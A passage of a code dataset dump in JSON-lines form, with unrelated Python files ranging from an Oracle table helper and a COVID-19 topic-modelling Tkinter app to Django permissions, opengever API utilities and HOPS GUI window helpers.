hwm_info['datatype'].upper() == 'DATE':\n# initHWM = datetime.datetime(1900, 1, 1)\n#\n# elif hwm_info['datatype'].upper() == 'TIMESTAMP':\n# initHWM = datetime.datetime(1900, 1, 1, 0, 0, 0) #TODO: format for timestamp?\n#\n# else:\n# #HWM datatype is not handled\n# logging.error('HWM datatype = %s is not handled in HighwWaterMark.py, exiting.' % hwm_info['datatype'])\n# #TODO: raise an exception here?\n# exit(1)\n#\n# elif hwm_info['init'] == 'max':\n# if hwm_info['datatype'].upper() == 'NUMBER':\n# #set to max in table\n#\n# sql = 'select max({}) from {}.{}'.format(hwm_info['column'], table_owner, table_name)\n# loging.info('querying for max %s' % hwm_info['column'])\n# logging.debug(sql)\n#\n# cur = dbConnection.cursor()\n# cur.execute(sql)\n# initHWM = cur.fetchone()[0]\n# logging.info('Initial HWM = %s', initHWM)\n# cur.close()\n#\n# elif hwm_info['datatype'].upper() == 'DATE':\n# initHWM = datetime.datetime.now()\n#\n# elif hwm_info['datatype'].upper() == 'TIMESTAMP':\n# #set to sysdate (in timestamp format?)\n# initHWM = datetime.datetime.now()\n#\n# else:\n# #HWM datatype is not handled\n# logging.error('HWM datatype = %s is not handled in HighwWaterMark.py, exiting.' % hwm_info['datatype'])\n# #TODO: raise an exception here?\n# exit(1)\n# else:\n# #HWM init is not handled\n# logging.error('HWM init = %s is not handled in HighwWaterMark.py, exiting.' % hwm_info['init'])\n# # TODO: raise an exception here?\n# exit(1)\n#\n# return initHWM\n\n\n\n\nclass Table:\n def __init__(self, dbConnection, tableConfig):\n #def __init__(self, dbConnection, table_owner, table_name, hwm_field, hwm_datatype):\n self.columnList = ''\n self.cols = []\n self.dateColumns = {}\n self.DDL = {}\n self.hwmInfo = tableConfig.hwmInfo\n\n if self.__validateSQLinputs(tableConfig.tableOwner) and self.__validateSQLinputs(tableConfig.tableName):\n self.owner = tableConfig.tableOwner.upper()\n self.name = tableConfig.tableName.upper()\n\n # it is possible to not need the HWM components but still need table info\n if tableConfig.hwmInfo['column'] != None and self.__validateSQLinputs(tableConfig.hwmInfo['column']):\n self.hwm_field = tableConfig.hwmInfo['column'].upper()\n self.hwm_datatype = tableConfig.hwmInfo['datatype'].upper()\n\n self.__buildDeltaSQL(dbConnection)\n\n else:\n # don't need hwm field info\n self.tableConfig.hwmInfo['column'] = None\n self.getColumnList(dbConnection)\n\n else:\n raise ValueError('table name/owner/hwm field do not match this regex: ^[a-zA-Z0-9_$]+$')\n\n def __validateSQLinputs(self, SQLinput):\n # Remember Bobby Tables (https://xkcd.com/327/)\n regex = re.compile('^[a-zA-Z0-9_$]+$')\n if re.match(regex, SQLinput):\n return True\n else:\n return False\n\n\n def __buildDeltaSQL(self, dbConnection):\n self.getColumnList(dbConnection)\n\n # inject table owner into the select to allow for schema differentiation if we dump all clients into one topic\n self.deltaSQL = '''select '%s' as schema_name, %s \n from %s.%s\n where 1 = 1\n and %s > :hwm\n and 1 = 1\n order by hwm''' % (self.owner, self.columnList, self.owner, self.name, self.hwm_field)\n # do we need to sort our result by hwm?\n logger.debug(self.deltaSQL)\n\n def getColumnList(self, dbConnection):\n # need to handle timezones\n\n # COLUMN ORDER REALLY REALLY REALLY MATTERS HERE\n # timestamp mask used to be 'dd-mon-yyyy hh24:mi:ssxff' but I'm changing it to ssxFF3 to get 3 digit milliseconds\n sql = \"\"\"select case when c.data_type LIKE '%TIMESTAMP%' then\n 'to_char(' || c.column_name || ', ''dd-mon-yyyy hh24:mi:ssXFF3'') as ' || c.column_name\n when c.data_type = 'DATE' then \n 'to_char(' || c.column_name || ', ''dd-mon-yyyy hh24:mi:ss'') as ' || c.column_name\n else\n c.column_name\n end as column_name_to_char\n , c.column_name\n , c.column_id\n , case when c.data_type like 'TIMESTAMP%' then 'TIMESTAMP' \n else c.data_type \n end as data_type\n from dba_tab_cols c\n where 1 = 1\n and c.column_id is not null\n and upper(c.owner) = upper(:table_owner)\n and upper(c.table_name) = upper(:table_name)\n and c.data_type not like '%LOB'\n and c.column_name not in ('THREADID', 'EXTERNALID')\n AND c.virtual_column = 'NO'\n and 1 = 1\n order by c.column_id\"\"\"\n\n logger.debug(sql)\n\n cur = dbConnection.cursor()\n cur.execute(sql, table_owner=self.owner, table_name=self.name)\n\n select = ''\n results = cur.fetchall()\n for record in results:\n\n self.DDL[record[1]] = {'columnID': record[2], 'dataType': record[3], 'to_char': record[0]}\n\n\n select = select + record[0] + ', ' # could use .join here?\n\n if record[3] == 'DATE' or record[3] == 'TIMESTAMP':\n # build a dictionary of date/timestamp columns and their data types within the database\n self.dateColumns[record[1]] = record[3]\n\n\n # clone the hwm field, aliased as HWM, but *do not* to_char it. Allow python to recognize it as a datetime.\n # only do this if the hwm field was passed in\n if self.hwm_field != None:\n self.columnList = select + self.hwm_field + ' as hwm '\n\n\n def columns(self, cursor):\n for i in cursor.description:\n # put the columns into a list to be zipped into a dict with the actual data\n self.cols.append(i[0]) # field names are stored in the first element\n\n\n\n return self.cols\n","sub_path":"Table.py","file_name":"Table.py","file_ext":"py","file_size_in_byte":12111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"550484546","text":"import argparse\nimport datetime\nimport os\nimport sys\nimport matplotlib.pyplot as plt\n\npath = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(path)\nimport mgof\n\nparser = argparse.ArgumentParser(description='Plot data')\nparser.add_argument('key', type=str,\n help='redis key')\nparser.add_argument('--redis_host', \"-r\", type=str, default=\"localhost\",\n help='redis host')\nparser.add_argument('--redis_port', \"-p\", type=int, default=6379,\n help='redis port')\n\ndef main():\n args = parser.parse_args()\n detector = mgof.AnomalyDetector(host=args.redis_host, port=args.redis_port)\n series = detector.get_time_series(args.key)\n\n timestamps = [datetime.datetime.fromtimestamp(time) for time, _ in series]\n values = [v for _, v in series]\n\n plt.plot(timestamps, values)\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"util/plot_series.py","file_name":"plot_series.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"61679715","text":"import pickle\nfrom dateparser.search import search_dates\nimport re\nwith open(\"test1.txt\", \"rb\") as fp:\n b = pickle.load(fp)\n\n\n# print(b)\n\nactual_message = []\n\ndef process():\n for messages in b:\n \n dummy = messages\n a = dummy.split('\\n')\n # print(messages)\n if len(a) >= 3:\n # print(\"name = \" + a[0] + \"\\nmessage = \"+ a[-2]+\"\\ntime = \"+ a[-1]+\"\\n\\n\\n\")\n # print(a[-1])\n \n \n actual_message.append(messages.replace(a[-1],' '))\n else:\n actual_message.append(messages.replace(a[-1],' '))\n\nprocess()\n\n\nfor i in actual_message:\n \n event = r'(test|lab|fee|payment)'\n day = r'(mon|tue|wed|thu|fri|sat|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec|next.*week|next.*month)'\n time = r'([0-9]:[0-9]+|[0-9]+.[0-9]+).*(am|pm)'\n Subject = r'(\\bss|\\bsystem software|\\bml|\\bmachine learning|\\bjava|\\bjava)'\n date = r'(\\b[0-9]+(th|rd|th|st))'\n eventr = set(re.findall(event,i.lower())) \n dayr = set(re.findall(day,i.lower()))\n timer = list(set(re.findall(time,i.lower())))\n Subjectr = set(re.findall(Subject,i.lower()))\n dater = list(set(re.findall(date,i.lower())))\n \n Subjectstr = \" \".join(Subjectr)\n eventstr = \" \".join(eventr)\n daystr = \" \".join(dayr)\n \n \n\n if len(eventr) and len(dayr) and len(Subjectr) :\n # print(dater)\n print('Subject :' + Subjectstr +\" \"+ eventstr)\n \n\n print('Day :', daystr,end = \" \") \n if len(dater):\n print(\"\".join(dater[0][0]))\n if len(timer):\n \n print('Time :',\" \".join(timer[0]))\n \n # print(i)\n\n print()\n print()\n\n# for s in b:\n# event = re.findall(r'(test|lab|fee|payment)',s)\n# dates = search_dates(s)\n# if len(event):\n# print(event)\n# print(dates[0][0])\n# print()\n# print()\n\n\n# process()\nchatbot = []\nfor i in b:\n i.replace('\\n',' ')\n chatbot.append(i)\n\n\nwith open(\"test2.txt\", \"wb\") as fp:\n pickle.dump(chatbot, fp)","sub_path":"process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"136657104","text":"#!/usr/env/bin python3\nn, m = [int(x) for x in input().strip().split()]\nmp = [list(input().strip()) for i in range(n)]\n\ndef mov(p):\n if mp[p[0]][p[1]] == '^':\n return (p[0] - 1, p[1])\n if mp[p[0]][p[1]] == '<':\n return (p[0], p[1] - 1)\n if mp[p[0]][p[1]] == '>':\n return (p[0], p[1] + 1)\n if mp[p[0]][p[1]] == 'v':\n return (p[0] + 1, p[1])\n assert False\n\ndef floyd(p0):\n t, h, mu, lam = mov(p0), mov(mov(p0)), 0, 1\n while t != h:\n t = mov(t)\n h = mov(mov(h))\n h = p0\n while t != h:\n t = mov(t)\n h = mov(h)\n mu += 1\n h = mov(t)\n while t != h:\n h = mov(h)\n lam += 1\n return (mu, lam)\n\nq = int(input())\n\nfor _ in range(q):\n a, b, k = [int(x) for x in input().strip().split()]\n mu, lam = floyd((a - 1, b - 1))\n pos = (a - 1, b - 1)\n while k > 0 and mu > 0:\n pos = mov(pos)\n k -= 1\n mu -= 1\n k %= lam\n while k > 0:\n pos = mov(pos)\n k -= 1\n\n print(pos[0] + 1, pos[1] + 1)\n \n\n","sub_path":"2020/problems/thjarki/submissions/partially_accepted/atli_was_100_now_75.py","file_name":"atli_was_100_now_75.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"484229960","text":"\r\nfrom tkinter import *\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom tkinter.filedialog import askopenfilename\r\nimport pandas as pd\r\nfrom string import punctuation\r\nfrom nltk.corpus import stopwords\r\nimport nltk\r\nfrom nltk.corpus import wordnet as wn\r\nfrom nltk.stem.wordnet import WordNetLemmatizer\r\nfrom gensim import corpora\r\nimport pickle\r\nimport gensim\r\nimport pyLDAvis.gensim\r\nimport matplotlib.pyplot as plt\r\nfrom gensim.models.coherencemodel import CoherenceModel\r\nfrom gensim.corpora.dictionary import Dictionary\r\nfrom collections import defaultdict\r\n\r\n'''\r\nDesigning Main Display Screen\r\n'''\r\nmain = tkinter.Tk()\r\nmain.title(\"Quantifying COVID-19 Content in the Online Health Opinion War Using Machine Learning\")\r\nmain.geometry(\"1300x1200\")\r\n\r\n'''\r\nDeclaring global variables that will be used throughout the project\r\n'''\r\nglobal filename\r\nen_stop = set(nltk.corpus.stopwords.words('english'))\r\nglobal text_data\r\nglobal dictionary\r\nglobal corpus\r\nglobal ldamodel\r\nglobal pro,anti\r\n\r\n'''\r\nFunction to clean data using Gensim and NLTK\r\n'''\r\ndef cleandata(doc):\r\n tokens = doc.split()\r\n table = str.maketrans('', '', punctuation)\r\n tokens = [w.translate(table) for w in tokens]\r\n tokens = [word for word in tokens if word.isalpha()]\r\n stop_words = set(stopwords.words('english'))\r\n tokens = [w for w in tokens if not w in stop_words]\r\n tokens = [word for word in tokens if len(word) > 1]\r\n tokens = ' '.join(tokens)\r\n #print(tokens)\r\n return tokens\r\n\r\n'''\r\nLemmatize data\r\n'''\r\ndef lemmatize_data(word):\r\n lemma = wn.morphy(word)\r\n if lemma is None:\r\n return word\r\n else:\r\n return lemma\r\n\r\ndef lemmatize_data2(word):\r\n return WordNetLemmatizer().lemmatize(word)\r\n\r\n\r\n'''\r\nLDA Extract Topics from the pre-processed data\r\n'''\r\ndef lda_data_modelling(text):\r\n tokens = text.split(\" \")\r\n tokens = [token for token in tokens if len(token) > 4]\r\n tokens = [token for token in tokens if token not in en_stop]\r\n tokens = [lemmatize_data(token) for token in tokens]\r\n return tokens\r\n\r\n'''\r\nUpload Facebook Posts from your computer\r\n'''\r\ndef upload(): #function to upload tweeter profile\r\n global filename\r\n filename = filedialog.askopenfilename(initialdir=\"FacebookPost\")\r\n text.delete('1.0', END)\r\n text.insert(END,filename+\" loaded\\n\");\r\n\r\n'''\r\nFurther clean data\r\n'''\r\ndef processDataset():\r\n text.delete('1.0', END)\r\n global text_data\r\n text_data = []\r\n dataset = pd.read_csv(filename,encoding=\"ISO-8859-1\")\r\n for i in range(len(dataset)):\r\n msg = dataset.get_value(i, 'Posts')\r\n clean = cleandata(msg.strip('\\n').strip().lower())\r\n clean = lda_data_modelling(clean)\r\n text_data.append(clean)\r\n text.insert(END,'Posts after processing\\n\\n')\r\n text.insert(END,str(text_data)+\"\\n\\n\")\r\n \r\n'''\r\nLDA data modelling\r\n'''\r\ndef LDA():\r\n global dictionary\r\n global corpus\r\n global ldamodel\r\n text.delete('1.0', END)\r\n dictionary = corpora.Dictionary(text_data)\r\n corpus = [dictionary.doc2bow(text) for text in text_data]\r\n pickle.dump(corpus, open('corpus.pkl', 'wb'))\r\n dictionary.save('dictionary.gensim')\r\n NUM_TOPICS = 30\r\n ldamodel = gensim.models.ldamodel.LdaModel(corpus, num_topics = NUM_TOPICS, id2word=dictionary, passes=15)\r\n ldamodel.save('model5.gensim')\r\n topics = ldamodel.print_topics(num_words=6)\r\n text.insert(END,'LDA Extracted Topics\\n\\n')\r\n for topic in topics:\r\n text.insert(END,str(topic)+\"\\n\")\r\n\r\n'''\r\nView LDA extracted topics\r\n'''\r\ndef viewTopics():\r\n global pro,anti\r\n anti_topics = ['shot','burder','protest','avoid','flu','fake','stop','afraid','never','test','spread','poison']\r\n pro_topics = ['maskwearing','protect','healthcare','trust','ailment','mask','wash','distancing','distance','soap','prevent','mandatory']\r\n pro = {}\r\n anti = {}\r\n combine = {}\r\n for i in range(len(text_data)):\r\n data = text_data[i]\r\n for j in range(len(data)):\r\n if data[j] in anti_topics:\r\n if data[j] in anti:\r\n anti[data[j]] = anti.get(data[j]) + 1\r\n else:\r\n anti[data[j]] = 1\r\n if data[j] in pro_topics:\r\n if data[j] in pro:\r\n pro[data[j]] = pro.get(data[j]) + 1\r\n else:\r\n pro[data[j]] = 1 \r\n text.delete('1.0', END)\r\n text.insert(END,'Pro vaccines topics details\\n\\n')\r\n text.insert(END,str(pro)+\"\\n\\n\")\r\n text.insert(END,'Pro vaccines topics details\\n\\n')\r\n text.insert(END,str(anti))\r\n\r\n'''\r\nPlot Coherence Score graph\r\n'''\r\ndef scoreGraph():\r\n pro_graph = []\r\n anti_graph = []\r\n for key in pro: \r\n pro_graph.append(pro[key])\r\n for key in anti: \r\n anti_graph.append(anti[key])\r\n plt.figure(figsize=(10,6))\r\n plt.grid(True)\r\n plt.xlabel('Total Topics')\r\n plt.ylabel('Coherence scores')\r\n plt.plot(pro_graph, 'ro-', color = 'indigo')\r\n plt.plot(anti_graph, 'ro-', color = 'blue')\r\n plt.legend(['Pro-Vax', 'Anti-Vax'], loc='upper left')\r\n plt.title('Coherence Topic Scores Graph')\r\n plt.show() \r\n \r\n'''\r\nPlot pyLDAvis graph\r\n'''\r\ndef graph():\r\n lda_display = pyLDAvis.gensim.prepare(ldamodel, corpus, dictionary, mds='mmds')\r\n #pyLDAvis.enable_notebook(local=True)\r\n pyLDAvis.show(lda_display)\r\n\r\n'''\r\nFront-end of our system build using TKINTER Python toolkit\r\nEvery button respnods to a function specified above.\r\n'''\r\nfont = ('times', 16, 'bold')\r\ntitle = Label(main, text='Quantifying COVID-19 Content in the Online Health Opinion War Using Machine Learning')\r\ntitle.config(bg='firebrick4', fg='dodger blue') #firebrick text and dodger blue label\r\ntitle.config(font=font) #font specified before\r\ntitle.config(height=3, width=120) #initial size lines, chars\r\ntitle.place(x=0,y=5) #place title at given pos\r\n\r\nfont1 = ('times', 12, 'bold')\r\ntext=Text(main,height=20,width=150)\r\nscroll=Scrollbar(text)\r\ntext.configure(yscrollcommand=scroll.set)\r\ntext.place(x=50,y=120)\r\ntext.config(font=font1)\r\n\r\n\r\nfont1 = ('times', 14, 'bold')\r\nuploadButton = Button(main, text=\"Upload Facebook Posts Dataset\", command=upload, bg='#ffb3fe')\r\nuploadButton.place(x=50,y=550)\r\nuploadButton.config(font=font1)\r\n\r\nprocessButton = Button(main, text=\"Process Dataset using Gensim & NLTK\", command=processDataset, bg='#ffb3fe')\r\nprocessButton.place(x=350,y=550)\r\nprocessButton.config(font=font1) \r\n\r\nLDAforest = Button(main, text=\"Run LDA Topic Modelling to Extract Topics\", command=LDA, bg='#ffb3fe')\r\nLDAforest.place(x=750,y=550)\r\nLDAforest.config(font=font1) \r\n\r\ntopicButton = Button(main, text=\"View Pro & Anti Vaccines Topics\", command=viewTopics, bg='#ffb3fe')\r\ntopicButton.place(x=50,y=600)\r\ntopicButton.config(font=font1) \r\n\r\nvaccine = Button(main, text=\"Pro & Anti Vaccine Graph\", command=scoreGraph, bg='#ffb3fe')\r\nvaccine.place(x=350,y=600)\r\nvaccine.config(font=font1) \r\n\r\ngraph = Button(main, text=\"pyLDAvis Topic Visualization\", command=graph, bg='#ffb3fe')\r\ngraph.place(x=750,y=600)\r\ngraph.config(font=font1) \r\n\r\nmain.config(bg='LightSalmon3')\r\nmain.mainloop()\r\n","sub_path":"Urvashi_Singh_CPSC597_02_Final_Project/Covid19.py","file_name":"Covid19.py","file_ext":"py","file_size_in_byte":7167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"637108101","text":"import matplotlib.pyplot as plt\n\nname_list=['I3D', 'IST', 'SST', 'GSST']\n\nNTU_acc =[94.3, 95.2, 95.2, 94.9]\nNUCLA_acc=[95.9, 96.6, 97.2, 95.3]\nParam = [12.27, 5.07, 3.50, 1.77]\nFLOPs = [55.92, 24.07, 21.41, 15.54]\n\nim_name = './img/' + 'NUCLA_acc.jpg'\ndata=NUCLA_acc\n\nindex=[0, 1, 2, 3]\n\nfont = {'family': 'normal',\n 'size': 15}\nplt.rc('font', **font)\n\nplt.ylim(ymax=100, ymin=90)\nplt.xticks(index, name_list)\nplt.ylabel('Accuracy')\nplt.xlabel('Models')\n\n\ncolors=['cyan', 'yellowgreen', 'dodgerblue', 'lightskyblue']\nfor i in range(len(colors)):\n plt.bar(left=index[i], height=data[i], facecolor=colors[i], width=0.4, align='center', )\n plt.text(index[i]-0.2, data[i]+0.3, '{}'.format(data[i]))\n\n\nplt.savefig(im_name)\nplt.close()\n","sub_path":"result_plot/plot_hig.py","file_name":"plot_hig.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"431702328","text":"from helper.helper import build_db, get_settings\n\nfrom factory.repository_factory import RepositoryFactory\nfrom factory.ui_factory import UIFactory\n\nfrom controllers.client_controller import ClientController\nfrom controllers.movie_controller import MovieController\nfrom controllers.history_controller import HistoryController\nfrom controllers.rental_controller import RentalController\n\n\nsettings = get_settings()\n\nclient_args, movie_args, rental_args = (None, None, None)\nif settings['repository'] == 'sql':\n db, client_manager, movie_manager, rental_manager = build_db()\n client_args = {'db': db, 'client_manager': client_manager}\n movie_args = {'db': db, 'movie_manager': movie_manager}\n rental_args = {\n 'db': db,\n 'client_manager': client_manager,\n 'movie_manager': movie_manager,\n 'rental_manager': rental_manager\n }\n\nrepository_factory = RepositoryFactory()\nui_factory = UIFactory()\n\nclient_repository = repository_factory.build('client', client_args)\nmovie_repository = repository_factory.build('movie', movie_args)\nrental_repository = repository_factory.build('rental', rental_args)\n\nhistory_controller = HistoryController()\nclient_controller = ClientController(client_repository=client_repository)\nmovie_controller = MovieController(movie_repository=movie_repository)\nrental_controller = RentalController(\n client_repository=client_repository,\n movie_repository=movie_repository,\n rental_repository=rental_repository\n)\n\nmovie_controller.subscribe(history_controller)\nclient_controller.subscribe(history_controller)\nrental_controller.subscribe(history_controller)\n\nui = ui_factory.build(\n client_controller=client_controller,\n movie_controller=movie_controller,\n rental_controller=rental_controller,\n history_controller=history_controller,\n settings=settings\n)\n\nui.loop()\n","sub_path":"sem1/fp/fp8/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"83683024","text":"from rest_framework import permissions\n\n\nclass IsMemberOfClubPermission(permissions.BasePermission):\n\n def has_object_permission(self, request, view, obj):\n if request.method in permissions.SAFE_METHODS:\n if request.user.club == obj.club or request.user.is_admin:\n return True\n return False\n if request.method in permissions.UNSAFE_METHODS:\n if request.user.is_admin:\n return True\n return False\n","sub_path":"tennis_factory/course/custom_permissions.py","file_name":"custom_permissions.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"307080820","text":"from functools import wraps\nfrom opengever.base.sentry import maybe_report_exception\nfrom requests import HTTPError\nfrom requests import Timeout\nfrom zope.publisher.http import status_reasons\nimport json\nimport sys\nimport traceback\n\n\ndef raise_for_api_request(request, exc):\n if not request.get(\"error_as_message\"):\n raise exc\n\n\ndef get_obj_by_path(portal, path):\n \"\"\"restrictedTraverse checks all of the objects along the path are\n validated with the security machinery. But we only need to know if the\n user is able to access the given object.\n\n Used by RelationChoiceFieldDeserializer and Copy service customization.\n \"\"\"\n\n path = path.rstrip('/').split('/')\n parent = portal.unrestrictedTraverse(path[:-1], None)\n if not parent:\n return None\n\n return parent.restrictedTraverse(path[-1], None)\n\n\nREQUEST_TIMEOUT = 408\nGATEWAY_TIMEOUT = 504\nBAD_GATEWAY = 502\n\ndefault_http_error_code_mapping = {\n REQUEST_TIMEOUT: {\"return_code\": GATEWAY_TIMEOUT},\n GATEWAY_TIMEOUT: {\"return_code\": GATEWAY_TIMEOUT}\n}\n\n\ndef create_proxy_request_error_handler(\n logger, default_http_error_message,\n http_error_code_mappings=default_http_error_code_mapping):\n \"\"\"Creates a Decorator function to handle requests to a service or external\n aplication.\n\n We handle HTTP and timeout-errors in a special way. All other request\n errors are handled by the rest-api with a 500 Internal Server Error.\n\n additional_http_error_code_mappings should be a dictionary mapping error\n codes from service to endpoint.\n \"\"\"\n\n def request_error_handler(func):\n\n def handle_http_error(obj, exception):\n \"\"\"Handles general http errors.\n\n We group these errors in a 502 Bad Gateway error.\n\n HTTP timeout errors will map to a 504 gateway timeout.\n \"\"\"\n service_status_code = exception.response.status_code\n service_error = {'status_code': service_status_code}\n\n if service_status_code in http_error_code_mappings:\n mapping = http_error_code_mappings[service_status_code]\n status_code = mapping.get(\"return_code\", BAD_GATEWAY)\n message = mapping.get(\"return_message\", default_http_error_message)\n service_error['message'] = str(exception).decode('utf-8')\n else:\n status_code = BAD_GATEWAY\n message = default_http_error_message\n\n try:\n service_error.update(json.loads(exception.response.text))\n except ValueError:\n # No response body\n pass\n\n obj.request.response.setStatus(status_code)\n response = {\n u'message': message,\n u'type': status_reasons.get(status_code),\n u'service_error': service_error\n }\n return response\n\n def handle_timeout_error(obj, exception):\n \"\"\"Handles all timeout errors. This can be:\n\n - ReadTimeout\n - ConnectTimeout\n\n We group these errors in a 504 Gateway Timeout error.\n \"\"\"\n obj.request.response.setStatus(GATEWAY_TIMEOUT)\n return {\n u'message': str(exception).decode('utf-8'),\n u'type': type(exception).__name__.decode('utf-8'),\n }\n\n def log_exception_to_sentry(obj):\n e_type, e_value, tb = sys.exc_info()\n maybe_report_exception(obj, obj.request, e_type, e_value, tb)\n formatted_traceback = ''.join(traceback.format_exception(e_type, e_value, tb))\n logger.error('Exception while requesting teamraum deployment:\\n%s', formatted_traceback)\n\n @wraps(func)\n def handler(obj, *args, **kwargs):\n try:\n return func(obj, *args, **kwargs)\n except HTTPError as exception:\n log_exception_to_sentry(obj)\n return handle_http_error(obj, exception)\n except Timeout as exception:\n log_exception_to_sentry(obj)\n return handle_timeout_error(obj, exception)\n\n return handler\n\n return request_error_handler\n\n\ndef recursive_encode(data):\n \"\"\"Encodes unicodes (from json) to utf-8 strings recursively.\n\n Credits: https://github.com/4teamwork/ftw.inflator/blob/1.12.1/ftw/inflator/creation/sections/utils.py\n \"\"\"\n if isinstance(data, unicode):\n return data.encode('utf-8')\n\n elif isinstance(data, str):\n return data\n\n elif isinstance(data, dict):\n for key, value in data.items():\n del data[key]\n data[recursive_encode(key)] = recursive_encode(value)\n return data\n\n elif isinstance(data, list):\n new_data = []\n for item in data:\n new_data.append(recursive_encode(item))\n return new_data\n\n elif hasattr(data, '__iter__'):\n for item in data:\n recursive_encode(item)\n return data\n\n else:\n return data\n","sub_path":"opengever/api/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"281595784","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom .hops_basics import *\nfrom .reduction_routines import reduction as rdr_reduction\nfrom .alignment_routines import alignment as alr_alignment\nfrom .photometry_routines import photometry as phr_photometry\nfrom .fitting_routines import fitting as ftr_fitting\nfrom .observing_planner import run_observing_planner\n\nclass AddOnWindow:\n\n def __init__(self, name, sizex, sizey, position=5):\n\n self.root = Tk()\n self.root.wm_title(name)\n\n self.root.protocol('WM_DELETE_WINDOW', self.root.withdraw)\n if sizex and sizey:\n self.root.geometry('{0}x{1}'.format(int(self.root.winfo_screenwidth() / sizex),\n int(self.root.winfo_screenheight() / sizey)))\n\n self.root.withdraw()\n self.finalised = False\n self.position = position\n\n def mainloop(self):\n\n self.root.mainloop()\n\n def finalise(self):\n\n self.root.update_idletasks()\n\n if self.position == 1:\n x = 0\n y = 0\n\n elif self.position == 2:\n x = (self.root.winfo_screenwidth() - self.root.winfo_reqwidth()) / 2\n y = 0\n\n elif self.position == 3:\n x = self.root.winfo_screenwidth() - self.root.winfo_reqwidth()\n y = 0\n\n elif self.position == 4:\n x = 0\n y = (self.root.winfo_screenheight() - self.root.winfo_reqheight()) / 2\n\n elif self.position == 5:\n x = (self.root.winfo_screenwidth() - self.root.winfo_reqwidth()) / 2\n y = (self.root.winfo_screenheight() - self.root.winfo_reqheight()) / 2\n\n elif self.position == 6:\n x = self.root.winfo_screenwidth() - self.root.winfo_reqwidth()\n y = (self.root.winfo_screenheight() - self.root.winfo_reqheight()) / 2\n\n elif self.position == 7:\n x = 0\n y = self.root.winfo_screenheight() - self.root.winfo_reqheight()\n\n elif self.position == 8:\n x = (self.root.winfo_screenwidth() - self.root.winfo_reqwidth()) / 2\n y = self.root.winfo_screenheight() - self.root.winfo_reqheight()\n\n elif self.position == 9:\n x = self.root.winfo_screenwidth() - self.root.winfo_reqwidth()\n y = self.root.winfo_screenheight() - self.root.winfo_reqheight()\n\n else:\n x = 0\n y = 0\n\n self.root.geometry('+%d+%d' % (int(x), int(y)))\n\n self.root.update_idletasks()\n\n self.root.lift()\n self.root.wm_attributes(\"-topmost\", 1)\n self.root.after_idle(self.root.attributes, '-topmost', 0)\n\n def show(self):\n\n if not self.finalised:\n self.finalise()\n self.finalised = True\n\n self.root.deiconify()\n\n def hide(self):\n\n self.root.withdraw()\n\n def close(self):\n\n self.root.destroy()\n\n\ndef initialise_window(window, window_name, windows_to_hide, windows_to_close, exit_python, other_exit_command=None):\n\n def exit_command():\n\n for i in windows_to_close:\n i.destroy()\n\n for i in windows_to_hide:\n i.withdraw()\n\n if other_exit_command:\n other_exit_command()\n\n if exit_python:\n os._exit(-1)\n\n window.wm_title(window_name)\n window.protocol('WM_DELETE_WINDOW', exit_command)\n\n window.withdraw()\n\n\ndef setup_window(window, objects, title_font=None, main_font=None, button_font=None, entries_bd=3):\n screenheigth = window.winfo_screenheight()\n\n if button_font is None:\n button_font = ['times', int(screenheigth/60), 'bold']\n\n if main_font is None:\n main_font = ['times', int(screenheigth/60)]\n\n if title_font is None:\n title_font = ['times', int(screenheigth/50), 'bold']\n\n for row in range(len(objects)):\n if len(objects[row]) == 0:\n label_empty = Label(window, text='')\n label_empty.grid(row=row, column=100)\n else:\n for obj in objects[row]:\n\n if obj[0].winfo_class() == 'Button':\n obj[0].configure(font=button_font)\n elif obj[0].winfo_class() == 'Entry':\n obj[0].configure(bd=entries_bd, font=main_font)\n elif obj[0].winfo_class() in ['Label', 'Radiobutton']:\n if len(obj) == 5:\n if obj[4] == 'title':\n obj[0].configure(font=title_font)\n else:\n obj[0].configure(font=main_font)\n else:\n obj[0].configure(font=main_font)\n\n if len(obj) >= 4:\n obj[0].grid(row=row, column=obj[1], columnspan=obj[2], rowspan=obj[3])\n elif len(obj) == 3:\n obj[0].grid(row=row, column=obj[1], columnspan=obj[2])\n else:\n obj[0].grid(row=row, column=obj[1])\n\n\ndef finalise_window(window, position=5):\n\n window.update_idletasks()\n\n if position == 1:\n x = 0\n y = 0\n\n elif position == 2:\n x = (window.winfo_screenwidth() - window.winfo_reqwidth()) / 2\n y = 0\n\n elif position == 3:\n x = window.winfo_screenwidth() - window.winfo_reqwidth()\n y = 0\n\n elif position == 4:\n x = 0\n y = (window.winfo_screenheight() - window.winfo_reqheight()) / 2\n\n elif position == 5:\n x = (window.winfo_screenwidth() - window.winfo_reqwidth()) / 2\n y = (window.winfo_screenheight() - window.winfo_reqheight()) / 2\n\n elif position == 6:\n x = window.winfo_screenwidth() - window.winfo_reqwidth()\n y = (window.winfo_screenheight() - window.winfo_reqheight()) / 2\n\n elif position == 7:\n x = 0\n y = window.winfo_screenheight() - window.winfo_reqheight()\n\n elif position == 8:\n x = (window.winfo_screenwidth() - window.winfo_reqwidth()) / 2\n y = window.winfo_screenheight() - window.winfo_reqheight()\n\n elif position == 9:\n x = window.winfo_screenwidth() - window.winfo_reqwidth()\n y = 